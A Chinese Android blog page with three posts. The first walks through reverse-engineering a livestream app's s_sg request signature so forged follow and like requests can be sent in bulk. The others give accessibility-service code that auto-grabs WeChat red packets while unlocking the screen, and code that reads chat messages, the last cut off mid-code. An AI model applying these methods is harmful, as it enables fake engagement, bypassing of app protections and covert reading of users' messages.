分类目录归档:Android

Android逆向之旅—分析某直播App的协议加密原理以及调用加密方法进行协议参数构造

一、前言随着直播技术火爆之后,各家都出了直播app,早期直播app的各种请求协议的参数信息都没有做任何加密措施,但是慢慢的有人开始利用这个后门开始弄刷粉关注工具,可以让一个新生的小花旦分分钟变成网红。所以介于这个问题,直播App开始对网络请求参数做了加密措施。所以就是本文分析的重点。逆向领域不仅只有脱壳操作,一些加密解密操作也是很有研究的目的。
二、抓包查看加密协议本文就看一款直播app的协议加密原理,以及如何获取加密之后的信息,我们如何通过探针技术,去调用他的加密函数功能。首先这里找突破点,毋庸置疑,直接抓包即可,我们进入主播页面,点击关注之后,看Fiddler中的抓包数据:

我们会发现,请求参数中,有些重要信息,比如用户的id,设备的imei值等。不过最重要也是我们关心的就是s_sg字段了,因为这个字段就是请求参数信息的一个签名信息。也是服务端需要进行比对的信息。如果发现不对或者没这个字段,那么就认为这次请求操作是非法的。所以我们只要得到这个字段的正确值,才能模拟访问此次操作的网络请求。
三、分析加密流程找到突破口了,就是这个字段s_sg,用Jadx打开app的dex文件,打开dex文件之后,全局搜索s_sg字符串:

这里看到只有一处出现了这个字段值,我们点进去查看:

看到这个方法,很兴奋,感觉就是加密协议的功能,而且字段都能对上,我们把这个加密方法直接拷贝出来,写一个demo之后模拟加密之后的信息,悲伤的是发现数据是对不上的,而且看看这个方法所在的类:

尽然是一个和网页交互的类,说明应该不是这个地方进行请求加密了。这个突破口就断了。注意:这里说的是dex文件,不是apk文件,因为Jadx打开apk文件会解析资源文件,如果一个app有很多资源文件,那么Jadx打开就会卡死,所以很多同学问我为什么Jadx打开apk文件就出现卡死状态,主要是因为解析资源文件导致的。所以为了防止卡死,直接解压出dex文件,然后打开就不会卡死了。

我们继续上面的抓包信息,就是请求的url地址,再去Jadx全局搜索:

找到了,点进去查看:

然后全局搜索这个”USER_RELATION_FOLLOW”字符串:

搜到结果,点进去进行查看:

这里看到了,用了注解方式来构造请求信息,而这里的核心类就是InkeDefaultBuilder,全局搜索这个类:

可惜没搜到,因为这个app进行拆包操作,有多个dex文件:

所以我们需要用Jadx继续打开他的第二个dex文件进行搜索:

果然,在第二个dex中找到了这个类。注意:这里需要注意,对于Jadx打开dex或者apk文件之后,跟踪发现找不到一些搜索内容的时候,需要有如下猜想:第一、是否包含多个dex文件,可以利用Jadx去打开其他dex文件进行搜索。第二、是否存在动态加载插件功能,全局搜索DexClassLoader找到插件加载位置,获取插件功能包,在用Jadx打开插件包进行搜索。第三、是否存在so文件中,可以利用IDA打开so文件,Shift+F12展示so中所有的字符串信息视图,然后进行搜索。第四、是否信息来源于网络请求返回,比如一些字符串信息展示,有可能是服务器返回的信息。
继续分析,点进去查看这个类的定义:

查看他的父类信息:

看到有一个url加密的方法,比较好奇。我们查看这个方法:

继续查看这个方法:


这里发现有一个网络请求,会发现一些信息,然后设置到一个地方。我们继续看方法:

看到d变量的定义类型,一般我们看到不可点击的可能这个类不在这个dex文件中了,所以我们需要去另外一个dex文件进行查找,而本文案例就是来回这么折腾查找信息操作的,去另外一个dex文件中进行搜索:

查找到了,点进去查看:

这里又看到是一个a变量,看看他的定义:

看到,这里这个类又不可以点击,说明这个类不在这个dex文件中,去另外一个dex文件中进行搜索:

发现这个类的定义了,点进去进行查看:

原来是一个native的工具类,内部有很多native方法,包括了设置信息的方法,加密解密url方法等。看看他加载的so是什么:

原来是这三个so文件,看到crypto和ssl,弄过加密的知道,这个是openssl加密的库文件,这里猜想他在native层用了这个加密算法了。先不管,我们用IDA打开这个so文件,因为我们知道libcrypto和libssl这两个是库文件,所以直接打开它自己的libsecret文件吧,然后Shift+F12查看他的字符串信息页面,在之前不是想看看那个加密字段,这里搜索看看结果:

的确找到了,那个加密的字段了,我们点击进入查看:

然后点击X键,查看调用地方,不过可惜的是,跳转过去之后发现,那个汇编代码不是一般的多。这里先不去看了,回过头来,看看那个加密url的函数:

点击进去,然后按F5查看对应的C代码:

这时候就要开始怀疑人生了,IDA卡死了。然后简单看一下这个函数的汇编代码,简直蒙圈。太长了。如果靠静态分析,我是没这个耐心和能力了。动态调试?我觉得也够呛,搞不好还有反调试,各种跳转。不知道调试到猴年马月。
四、获取加密内容那么到这里,我大致分析这个直播app的请求协议有一个加密签名的字段s_sg,这个值是在native层中进行加密操作的,采用openssl进行加密,但是加密函数非常长,分析难度加大。但是不能就这样放弃了。我们想要这个加密结果,用于我们自己构造参数之后获取正确的签名信息值。那么就需要转化思维了。我们或许只要结果,加密过程对我们来说并不那么重要。所以这里的一个思路:自己写一个程序调用它的so文件中的这个加密函数。
我们做过NDK开发的都知道,默认情况native方法在so中的JNI_OnLoad函数自动注册,但是native中的函数必须按照这种格式:Java_类名_方法名,类似这样:

那么我们就可以在自己的程序中,把app的那个Secret类拷贝过去,不过一定要注意包名一定不能变:

然后在代码中直接调用native方法:

不过可惜的是,调用的结果,没有加密字段信息。所以这里我们会发现应该还缺少什么设置。我们回过头看看java层的代码:

这里有一个set方法,在之前分析已经发现了,他的调用地方:

这里有一个SecretDataModel类,应该是从网上请求获取到的数据,然后解析构造出这个类,看看这个类定义:

看到这里,发现已经用了第三方的json解析包,注解直接解析字段值。但是我们全局搜索这个类的话,跟踪太麻烦了,这里就采用另外一种方式跟踪代码,那就是利用Xposed拦截这个类的构造方法,然后在内部打印堆栈信息来查看方法的调用路径,这种方法我在之前已经用过了。本文能够更好的体现:

因为应用是多dex文件,所以hook必须先hook他的Application类的attach方法拿到正确的类加载器,正确加载需要hook的类信息,不然就报错了。这个已经讲了很多遍了。然后就是利用自动抛异常来打印方法的调用堆栈信息,安装运行,重启生效看日志:

这里看到了,他用google的gson库解析json数据的,看到了json数据是从下面这两个方法中传递过来的,查看这个类的方法:

点进去进行查看:

为了看到返回的json数据,我们在拦截这个方法,把返回的json数据打印出来看看是啥:

运行模块,重启生效,看日志信息:

看到这段json数据了,这时候,在返回去看看SecretDataModel那个调用set方法:

看到这四个参数值,第一个是Context不解释了,第二个是serverTime字段值,第三个是startCode字段值,第四个是runCode字段值。这三个字段都是可以在上面打印的json中找到的,我们把json格式化看看:

有了这三个值和Context变量,直接调用Secret的native方法set进行设置,看看能否正确获取到加密之后的字段值:

运行demo程序看看日志信息:

看到了,设置成功了,而且获取加密字段也成功了。到这里我们就成功的获取到加密字段s_sg值了。
五、获取加密配置信息不过到这里还没有结束,因为我们发现那三个set值字段从网络获取,我们还需要知道是哪个url获取到的,这里从代码跟踪依然很困难,所以我们还需要利用hook来打印方法的堆栈信息来追踪代码,通过上面打印的获取json数据的堆栈信息:

看到是这个类访问获取json数据的,进去看看:

而传入的参数,在进行查看:

看到有一个getUrl方法,就是获取访问的url值,我们就可以这么来进行hook操作,打印这个url访问地址了:

运行模块,重启生效,看日志信息:

下面打印了那个我们想要的json数据,上面有几个url,我们在去Fiddler观察这几个url返回的数据,最后定位到这个是这个url返回的数据信息:

六、梳理加密流程到这里我们就分析完了直播app的协议加密流程,下面来总结一下:第一步:通过/user/account/token_v2接口获取加密前的配置信息第二步:通过native方法把第一步获取到的信息进行设置(set方法)。第三步:通过native方法将java层拼接参数的url值进行加密处理返回(encryUrl方法)那么我们可以这么做,自己协议demo程序,在Java层拼接好参数,然后调用so的native方法,返回还有加密字段的url,然后可以解析出这个字段就是加密信息了。我们就可以批量处理这种网络请求了。比如刷粉,观看直播,点赞等操作。当然有的同学会认为这次操作其实不是真正意义上的破解加密算法。的确不算,但是我们弄到我们想要的就好,过程其实没那么重要,而在这个操作过程中,我们又学习到了很多逆向技巧。
七、逆向技巧总结第一、在用Jadx打开apk卡死的时候,记得先解压出dex文件,在用Jadx打开dex文件即可。第二、对于多dex的应用,使用Xposed进行hook的时候,需要先拦截Application类的attach方法获取正确的类加载器。不然会报拦截失败。第三、当我们在使用Jadx进行全局搜索内容,发现没有搜索结果的时候,可能需要从以下几个方面考虑:1、是否包含多个dex文件,可以利用Jadx去打开其他dex文件进行搜索。2、是否存在动态加载插件功能,全局搜索DexClassLoader找到插件加载位置,获取插件功能包,在用Jadx打开插件包进行搜索。3、是否存在so文件中,可以利用IDA打开so文件,Shift+F12展示so中所有的字符串信息视图,然后进行搜索。4、是否信息来源于网络请求返回,比如一些字符串信息展示,有可能是服务器返回的信息。

第四、在我们用Jadx进行代码跟踪非常困难的时候,记得还可以利用Xposed拦截指定方法,打印堆栈信息来跟踪代码,也是一种高效方法。第五、当你在使用Jadx右键一个方法看看调用路径,发现没有结果的时候,那么看看这个方法是否是该类实现的一个接口中的方法或者是抽象方法。去父类或者接口中的那个方法在右键看看调用路径。第六、在不关心过程,只关心结果的场景下,可以构造一个app来调用程序的so,获取我们想要的结果,这种方式一定要记住,后面很多场景都会用到。可以用它来嗅探so中一些函数的功能。比如通过调用so中的一个方法,输入规律数据,看输出结果是否符合一定规律,通过规律来破解加密算法。
八、总结本文介绍的内容有点多,感谢该直播app开发者提供这么好的研究样本,当然最后需要说一句就是:安全防护策略不够,我们在本文可以看到我们利用调用他的so来获取加密信息,这个方法是可以用于很多app的,对于那些我们无需关心过程,只关心结果的内容,这种方法屡试不爽。那么作为开发者如何规避这种安全问题呢?很多人第一就想到了:在so的JNI_OnLoad方法中判断签名信息是否正确,不正确就直接退出。这个的确可以防范。但是如果用我之前介绍的kstools工具原理,直接hook系统的PMS服务拦截获取签名信息方法,返回正确的应用签名信息,这种防护策略就失效了。所以说:安全不息,逆向不止。两者都在进步。
严重声明本文介绍的内容只是为了逆向技术探讨,绝对不允许不法分子进行恶意用途。如果带来任何法律问题均与本文作者无关,由操作者本人承担,而涉及到安全隐患,技术交流可以加入编码美丽技术圈

Android中微信抢红包助手的实现

实现原理

通过利用AccessibilityService辅助服务,监测屏幕内容,如监听状态栏的信息,屏幕跳转等,以此来实现自动拆红包的功能。关于AccessibilityService辅助服务,可以自行百度了解更多。

 

代码基础:

1.首先声明一个RedPacketService继承自AccessibilityService,该服务类有两个方法必须重写,如下:

复制代码
/**
 * Created by cxk on 2017/2/3.
 * email:[email protected]
 *
 * 抢红包服务类
 */

public class RedPacketService extends AccessibilityService {


    /**
     * 必须重写的方法:此方法用了接受系统发来的event。在你注册的event发生是被调用。在整个生命周期会被调用多次。
     */
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {

    }
    /**
     * 必须重写的方法:系统要中断此service返回的响应时会调用。在整个生命周期会被调用多次。
     */
    @Override
    public void onInterrupt() {
        Toast.makeText(this, "我快被终结了啊-----", Toast.LENGTH_SHORT).show();
    }
    /**
     * 服务已连接
     */
    @Override
    protected void onServiceConnected() {
        Toast.makeText(this, "抢红包服务开启", Toast.LENGTH_SHORT).show();
        super.onServiceConnected();
    }
    /**
     * 服务已断开
     */
    @Override
    public boolean onUnbind(Intent intent) {
        Toast.makeText(this, "抢红包服务已被关闭", Toast.LENGTH_SHORT).show();
        return super.onUnbind(intent);
    }
}
复制代码

2.对我们的RedPacketService进行一些配置,这里配置方法可以选择代码动态配置(onServiceConnected里配置),也可以直接在res/xml下新建.xml文件,没有xml文件夹就新建。这里我们将文件命名为redpacket_service_config.xml,代码如下:

复制代码
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
    android:accessibilityEventTypes="typeAllMask"
    android:accessibilityFeedbackType="feedbackGeneric"
    android:accessibilityFlags="flagDefault"
    android:canRetrieveWindowContent="true"
    android:description="@string/desc"
    android:notificationTimeout="100"
    android:packageNames="com.tencent.mm" />
复制代码

accessibilityEventTypes:   

响应哪一种类型的事件,typeAllMask就是响应所有类型的事件了,另外还有单击、长按、滑动等。

accessibilityFeedbackType:  

用什么方式反馈给用户,有语音播出和振动。可以配置一些TTS引擎,让它实现发音。

packageNames:

指定响应哪个应用的事件。这里我们是写抢红包助手,就写微信的包名:com.tencent.mm,这样就可以监听微信产生的事件了。

notificationTimeout:

响应时间

description:

辅助服务的描述信息。

 

3.service是四大组件之一,需要在AndroidManifest进行配置,注意这里稍微有些不同:

复制代码
 <!--抢红包服务-->
        <service
            android:name=".RedPacketService"
            android:enabled="true"
            android:exported="true"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService" />
            </intent-filter>
            <meta-data
                android:name="android.accessibilityservice"
                android:resource="@xml/redpacket_service_config"></meta-data>
        </service>
复制代码
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"  权限申请
android:resource="@xml/redpacket_service_config"  引用刚才的配置文件


核心代码:
我们的红包助手,核心思路分为三步走:
监听通知栏微信消息,如果弹出[微信红包]字样,模拟手指点击状态栏跳转到微信聊天界面→在微信聊天界面查找红包,如果找到则模拟手指点击打开,弹出打开红包界面→模拟手指点击红包“開”

1.监听通知栏消息,查看是否有[微信红包]字样,代码如下:
复制代码
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        int eventType = event.getEventType();
        switch (eventType) {
            //通知栏来信息,判断是否含有微信红包字样,是的话跳转
            case AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED:
                List<CharSequence> texts = event.getText();
                for (CharSequence text : texts) {
                    String content = text.toString();
                    if (!TextUtils.isEmpty(content)) {
                        //判断是否含有[微信红包]字样
                        if (content.contains("[微信红包]")) {
                            //如果有则打开微信红包页面
                            openWeChatPage(event);
                        }
                    }
                }
                break;
     }
 }

     /**
     * 开启红包所在的聊天页面
     */
    private void openWeChatPage(AccessibilityEvent event) {
        //A instanceof B 用来判断内存中实际对象A是不是B类型,常用于强制转换前的判断
        if (event.getParcelableData() != null && event.getParcelableData() instanceof Notification) {
            Notification notification = (Notification) event.getParcelableData();
            //打开对应的聊天界面
            PendingIntent pendingIntent = notification.contentIntent;
            try {
                pendingIntent.send();
            } catch (PendingIntent.CanceledException e) {
                e.printStackTrace();
            }
        }
    }
复制代码
2.判断当前是否在微信聊天页面,是的话遍历当前页面各个控件,找到含有微信红包或者领取红包的textview控件,然后逐层找到他的可点击父布局(图中绿色部分),模拟点击跳转到含有“開”的红包界面,代码如下:

复制代码
 @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        int eventType = event.getEventType();
        switch (eventType) {
            //窗口发生改变时会调用该事件
            case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
                String className = event.getClassName().toString();
                //判断是否是微信聊天界面
                if ("com.tencent.mm.ui.LauncherUI".equals(className)) {
                    //获取当前聊天页面的根布局
                    AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                    //开始找红包
                    findRedPacket(rootNode);
                }
        }
    }
    /**
     * 遍历查找红包
     */
    private void findRedPacket(AccessibilityNodeInfo rootNode) {
        if (rootNode != null) {
            //从最后一行开始找起
            for (int i = rootNode.getChildCount() - 1; i >= 0; i--) {
                AccessibilityNodeInfo node = rootNode.getChild(i);
                //如果node为空则跳过该节点
                if (node == null) {
                    continue;
                }
                CharSequence text = node.getText();
                if (text != null && text.toString().equals("领取红包")) {
                    AccessibilityNodeInfo parent = node.getParent();
                    //while循环,遍历"领取红包"的各个父布局,直至找到可点击的为止
                    while (parent != null) {
                        if (parent.isClickable()) {
                            //模拟点击
                            parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                            //isOpenRP用于判断该红包是否点击过
                            isOpenRP = true;
                            break;
                        }
                        parent = parent.getParent();
                    }
                }
                //判断是否已经打开过那个最新的红包了,是的话就跳出for循环,不是的话继续遍历
                if (isOpenRP) {
                    break;
                } else {
                    findRedPacket(node);
                }

            }
        }
    }
复制代码

3.点击红包后,在模拟手指点击“開”以此开启红包,跳转到红包详情界面,方法与步骤二类似:

复制代码
 @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        int eventType = event.getEventType();
        switch (eventType) {
            //窗口发生改变时会调用该事件
            case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
                String className = event.getClassName().toString();
          
                //判断是否是显示‘开’的那个红包界面
                if ("com.tencent.mm.plugin.luckymoney.ui.LuckyMoneyReceiveUI".equals(className)) {
                    AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                    //开始抢红包
                    openRedPacket(rootNode);
                }
                break;
        }
    }

    /**
     * 开始打开红包
     */
    private void openRedPacket(AccessibilityNodeInfo rootNode) {
        for (int i = 0; i < rootNode.getChildCount(); i++) {
            AccessibilityNodeInfo node = rootNode.getChild(i);
            if ("android.widget.Button".equals(node.getClassName())) {
                node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
            }
            openRedPacket(node);
        }
    }
复制代码

结合以上三步,下面是完整代码,注释已经写的很清楚,直接看代码:

复制代码
package com.cxk.redpacket;

import android.accessibilityservice.AccessibilityService;
import android.app.Instrumentation;
import android.app.KeyguardManager;
import android.app.Notification;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.os.IBinder;
import android.os.PowerManager;
import android.text.TextUtils;
import android.util.Log;
import android.view.KeyEvent;
import android.view.accessibility.AccessibilityEvent;
import android.view.accessibility.AccessibilityNodeInfo;
import android.widget.Toast;

import java.util.List;

/**
 * 抢红包Service,继承AccessibilityService
 */
public class RedPacketService extends AccessibilityService {
    /**
     * 微信几个页面的包名+地址。用于判断在哪个页面
     * LAUCHER-微信聊天界面
     * LUCKEY_MONEY_RECEIVER-点击红包弹出的界面
     * LUCKEY_MONEY_DETAIL-红包领取后的详情界面
     */
    private String LAUCHER = "com.tencent.mm.ui.LauncherUI";
    private String LUCKEY_MONEY_DETAIL = "com.tencent.mm.plugin.luckymoney.ui.LuckyMoneyDetailUI";
    private String LUCKEY_MONEY_RECEIVER = "com.tencent.mm.plugin.luckymoney.ui.LuckyMoneyReceiveUI";

    /**
     * 用于判断是否点击过红包了
     */
    private boolean isOpenRP;

    private boolean isOpenDetail = false;

    /**
     * 用于判断是否屏幕是亮着的
     */
    private boolean isScreenOn;

    /**
     * 获取PowerManager.WakeLock对象
     */
    private PowerManager.WakeLock wakeLock;

    /**
     * KeyguardManager.KeyguardLock对象
     */
    private KeyguardManager.KeyguardLock keyguardLock;

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        int eventType = event.getEventType();
        switch (eventType) {
            //通知栏来信息,判断是否含有微信红包字样,是的话跳转
            case AccessibilityEvent.TYPE_NOTIFICATION_STATE_CHANGED:
                List<CharSequence> texts = event.getText();
                for (CharSequence text : texts) {
                    String content = text.toString();
                    if (!TextUtils.isEmpty(content)) {
                        //判断是否含有[微信红包]字样
                        if (content.contains("[微信红包]")) {
                            if (!isScreenOn()) {
                                wakeUpScreen();
                            }
                            //如果有则打开微信红包页面
                            openWeChatPage(event);

                            isOpenRP = false;
                        }
                    }
                }
                break;
            //界面跳转的监听
            case AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED:
                String className = event.getClassName().toString();
                //判断是否是微信聊天界面
                if (LAUCHER.equals(className)) {
                    //获取当前聊天页面的根布局
                    AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                    //开始找红包
                    findRedPacket(rootNode);
                }

                //判断是否是显示‘开’的那个红包界面
                if (LUCKEY_MONEY_RECEIVER.equals(className)) {
                    AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                    //开始抢红包
                    openRedPacket(rootNode);
                }

                //判断是否是红包领取后的详情界面
                if (isOpenDetail && LUCKEY_MONEY_DETAIL.equals(className)) {

                    isOpenDetail = false;
                    //返回桌面
                    back2Home();
                    //如果之前是锁着屏幕的则重新锁回去
                    release();
                }
                break;
        }


    }

    /**
     * 开始打开红包
     */
    private void openRedPacket(AccessibilityNodeInfo rootNode) {
        for (int i = 0; i < rootNode.getChildCount(); i++) {
            AccessibilityNodeInfo node = rootNode.getChild(i);
            if ("android.widget.Button".equals(node.getClassName())) {
                node.performAction(AccessibilityNodeInfo.ACTION_CLICK);

                isOpenDetail = true;
            }
            openRedPacket(node);
        }
    }

    /**
     * 遍历查找红包
     */
    private void findRedPacket(AccessibilityNodeInfo rootNode) {
        if (rootNode != null) {
            //从最后一行开始找起
            for (int i = rootNode.getChildCount() - 1; i >= 0; i--) {
                AccessibilityNodeInfo node = rootNode.getChild(i);
                //如果node为空则跳过该节点
                if (node == null) {
                    continue;
                }
                CharSequence text = node.getText();
                if (text != null && text.toString().equals("领取红包")) {
                    AccessibilityNodeInfo parent = node.getParent();
                    //while循环,遍历"领取红包"的各个父布局,直至找到可点击的为止
                    while (parent != null) {
                        if (parent.isClickable()) {
                            //模拟点击
                            parent.performAction(AccessibilityNodeInfo.ACTION_CLICK);
                            //isOpenRP用于判断该红包是否点击过
                            isOpenRP = true;

                            break;
                        }
                        parent = parent.getParent();
                    }
                }
                //判断是否已经打开过那个最新的红包了,是的话就跳出for循环,不是的话继续遍历
                if (isOpenRP) {
                    break;
                } else {
                    findRedPacket(node);
                }

            }
        }
    }

    /**
     * 开启红包所在的聊天页面
     */
    private void openWeChatPage(AccessibilityEvent event) {
        //A instanceof B 用来判断内存中实际对象A是不是B类型,常用于强制转换前的判断
        if (event.getParcelableData() != null && event.getParcelableData() instanceof Notification) {
            Notification notification = (Notification) event.getParcelableData();
            //打开对应的聊天界面
            PendingIntent pendingIntent = notification.contentIntent;
            try {
                pendingIntent.send();
            } catch (PendingIntent.CanceledException e) {
                e.printStackTrace();
            }
        }
    }


    /**
     * 服务连接
     */
    @Override
    protected void onServiceConnected() {
        Toast.makeText(this, "抢红包服务开启", Toast.LENGTH_SHORT).show();
        super.onServiceConnected();
    }

    /**
     * 必须重写的方法:系统要中断此service返回的响应时会调用。在整个生命周期会被调用多次。
     */
    @Override
    public void onInterrupt() {
        Toast.makeText(this, "我快被终结了啊-----", Toast.LENGTH_SHORT).show();
    }

    /**
     * 服务断开
     */
    @Override
    public boolean onUnbind(Intent intent) {
        Toast.makeText(this, "抢红包服务已被关闭", Toast.LENGTH_SHORT).show();
        return super.onUnbind(intent);
    }

    /**
     * 返回桌面
     */
    private void back2Home() {
        Intent home = new Intent(Intent.ACTION_MAIN);
        home.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        home.addCategory(Intent.CATEGORY_HOME);
        startActivity(home);
    }

    /**
     * 判断是否处于亮屏状态
     *
     * @return true-亮屏,false-暗屏
     */
    private boolean isScreenOn() {
        PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
        isScreenOn = pm.isScreenOn();
        Log.e("isScreenOn", isScreenOn + "");
        return isScreenOn;
    }

    /**
     * 解锁屏幕
     */
    private void wakeUpScreen() {

        //获取电源管理器对象
        PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE);
        //后面的参数|表示同时传入两个值,最后的是调试用的Tag
        wakeLock = pm.newWakeLock(PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.FULL_WAKE_LOCK, "bright");

        //点亮屏幕
        wakeLock.acquire();

        //得到键盘锁管理器
        KeyguardManager km = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE);
        keyguardLock = km.newKeyguardLock("unlock");

        //解锁
        keyguardLock.disableKeyguard();
    }

    /**
     * 释放keyguardLock和wakeLock
     */
    public void release() {
        if (keyguardLock != null) {
            keyguardLock.reenableKeyguard();
            keyguardLock = null;
        }
        if (wakeLock != null) {
            wakeLock.release();
            wakeLock = null;
        }
    }

}
复制代码

使用方法:

设置-辅助功能-无障碍-点击RedPacket开启即可(或者直接在设置搜索辅助功能or RedPacket)

注:因为AccessibilityService服务很容易断开,所以我们需要将我们的App设置为白名单,防止被系统KO掉。这样他就能一直跑在我们的后台啦。

 

已知问题:

1.聊天列表或者聊天界面中无法直接自动抢红包

Demo下载地址:https://github.com/CKTim/RedPacket

[转载] Android几行代码实现监听微信聊天

2017.2.7更新:

*现在适配微信版本更加容易了,只需要替换一个Recourse-ID即可

*可以知道对方发的是小视频还是语音,并获取秒数。

*可以区分聊天信息中的图片或者表情

 

实现效果:

实时监听当前聊天页面的最新一条消息,效果如图:

                 

实现原理:

同样是利用AccessibilityService辅助服务,关于这个服务类还不了解的同学可以先看下我上一篇关于抢红包的博客,原理都一样:

http://www.cnblogs.com/cxk1995/p/6363574.html

1.首先我们先来看一下微信聊天界面的布局,查看方法:

AndroidStudio–Tools–Android–Android Device Monitor,点击:

 

2.如图我们可以看到,其实每一条微信聊天记录都是一个RelativeLayout:

 

3.再往下看,我们又可以发现,其实每一个RelativeLayout下面,又包含了一个TextView,还有一个LinearLayout

TextView就是聊天的时间

LinearLayout下则包含了我们所需要的聊天对象以及聊天信息,除了文字聊天,语音,图片等的聊天信息都会在这个LinearLayout下,看图2

 

4.这里聊天对象比较容易获得,我们先放在前面讲,如上图我们可以看到有一个ImageView的描述内容里面包含着我们的聊天对象,可能后面还会有很多ImageView的参杂,将它与其他ImageView区分还有很重要两点,一是它是isClickable,二是它存在描述内容,并且描述内容是还包含有“头像”字眼。

综合过滤条件: “android.widget.ImageView”+”isClickable()”+”node.getContentDescription().toString().contains(“头像”)”,代码如下:

复制代码
    /**
     * 遍历所有控件,找到头像Imagview,里面有对联系人的描述
     */
    private void GetChatName(AccessibilityNodeInfo node) {
        for (int i = 0; i < node.getChildCount(); i++) {
            AccessibilityNodeInfo node1 = node.getChild(i);
            if ("android.widget.ImageView".equals(node1.getClassName()) && node1.isClickable()) {
                //获取聊天对象,这里两个if是为了确定找到的这个ImageView是头像的
                if (!TextUtils.isEmpty(node1.getContentDescription())) {
                    ChatName = node1.getContentDescription().toString();
                    if (ChatName.contains("头像")) {
                        ChatName = ChatName.replace("头像", "");
                    }
                }

            }
            GetChatName(node1);
        }
    }
复制代码

5.这里我们暂时把微信的聊天信息分为5种:

a.单纯的文字聊天信息:

其实从上面的右边图就可以看到,他就是一个TextView而已,如果你有去打印看看的话,你会发现他的parent父布局其实是一个RelativeLayout,后面同样可能会有其他的TeView干扰,例如我推荐了个名片或者发了个红包等,所以文字聊天TeView区分其他TextView的还有一个很重的过滤条件,就是它是可以长按的(isLongClickable()),这些属性都可以在Android Device Monitor中查看到。

综合过滤条件:”android.widget.TextView”+“android.widget.RelativeLayout”+“isLongClickable()”

 

b.发了一段语音聊天信息:

我们这里并没有办法获取到语音内容,只能获取语音的秒数,获取方法跟上面的一模一样,只不过这里它不能长按。我们知道语音的秒数格式都是:数字+双引号(”),如60″,所以我们只要判断取得的TextView内容是不是符合这种格式就行了,就能判断它是语音秒数。

综合过滤条件:”android.widget.TextView”+“android.widget.RelativeLayout”+“符合秒数格式”

 

c.发了一个表情:

这里的表情指的是收藏的或者自己下载的那些表情,不是指Emoji那些,他其实就是一个ImagView,父布局是一个LinearLayout。

综合过滤条件:”android.widget.ImageView”+”android.widget.LinearLayout”

 

d.发了一张图片:

这里目前只能做到监听到安装服务的这一端发过去的图片,不能监听到对面发过来的啧啧,其实也是一个ImageView,父布局是FrameLayout,而且还有很重要一点,该节点存在描述内容字眼:”图片”。

综合过滤条件:”android.widget.ImageView”+”android.widget.FrameLayout”+”node.getContentDescription().toString().contains(“图片”)”

 

e.发了一段小视频:

同样我们无法知道视频的内容,这里只是单纯的获取视频的秒数,和语音类似,但是获取过滤方法不同,其实小视频秒数也就是个TextView,并且它的父布局是FrameLayout,我们知道视频的秒数都是符合:00:00这种格式的,所以这个也是个很重要的过滤条件。

综合过滤条件:”android.widget.TextView”+“android.widget.FrameLayout”+“符合 00:00格式”

 

4.分析完后,我们思路就有了:

a.首先我们先取得根布局的节点,然后通过遍历获取到每个RelativeLayout下的LinearLayout,因为该LinearLayout存在resource-id(com.tencent.mm:id/p,微信版本6.5.4),所以我们可以很容易可以获取到符合该ID的所有LinearLayout,然后我们取出最后一个LinearLayout,这个也就是装载着我们最新的那条消息啦。

b.然后我们再在该LinearLayout下遍历它的所有控件,通过上面所讲的各种过滤条件,判断发的是什么类型的消息并取出我们所需要的即可。

注:关于resource-id直接在上一步的查看布局下可看到,因为resource-id随着版本的迭代可能也会发生改变,Demo中那个LinearLayout的resource-id是基于微信6.5.4滴,如果以后有版本更新的话我们直接修改代码中的那个ID就行啦。

 

获取聊天信息核心代码:

代码不多,也加了注释,直接看代码即可:

复制代码
 /**
     * 遍历所有控件:这里分四种情况
     * 文字聊天: 一个TextView,并且他的父布局是android.widget.RelativeLayout
     * 语音的秒数: 一个TextView,并且他的父布局是android.widget.RelativeLayout,但是他的格式是0"的格式,所以可以通过这个来区分
     * 图片:一个ImageView,并且他的父布局是android.widget.FrameLayout,描述中包含“图片”字样(发过去的图片),发回来的图片现在还无法监听
     * 表情:也是一个ImageView,并且他的父布局是android.widget.LinearLayout
     * 小视频的秒数:一个TextView,并且他的父布局是android.widget.FrameLayout,但是他的格式是00:00"的格式,所以可以通过这个来区分
     *
     * @param node
     */
    public void GetChatRecord(AccessibilityNodeInfo node) {
        for (int i = 0; i < node.getChildCount(); i++) {
            AccessibilityNodeInfo nodeChild = node.getChild(i);

            //聊天内容是:文字聊天(包含语音秒数)
            if ("android.widget.TextView".equals(nodeChild.getClassName()) && "android.widget.RelativeLayout".equals(nodeChild.getParent().getClassName().toString())) {
                if (!TextUtils.isEmpty(nodeChild.getText())) {
                    String RecordText = nodeChild.getText().toString();
                    //这里加个if是为了防止多次触发TYPE_VIEW_SCROLLED而打印重复的信息
                    if (!RecordText.equals(ChatRecord)) {
                        ChatRecord = RecordText;
                        //判断是语音秒数还是正常的文字聊天,语音的话秒数格式为5"
                        if (ChatRecord.contains("\"")) {
                            Toast.makeText(this, ChatName + "发了一条" + ChatRecord + "的语音", Toast.LENGTH_SHORT).show();

                            Log.e("WeChatLog",ChatName + "发了一条" + ChatRecord + "的语音");
                        } else {
                            //这里在加多一层过滤条件,确保得到的是聊天信息,因为有可能是其他TextView的干扰,例如名片等
                            if (nodeChild.isLongClickable()) {
                                Toast.makeText(this, ChatName + ":" + ChatRecord, Toast.LENGTH_SHORT).show();

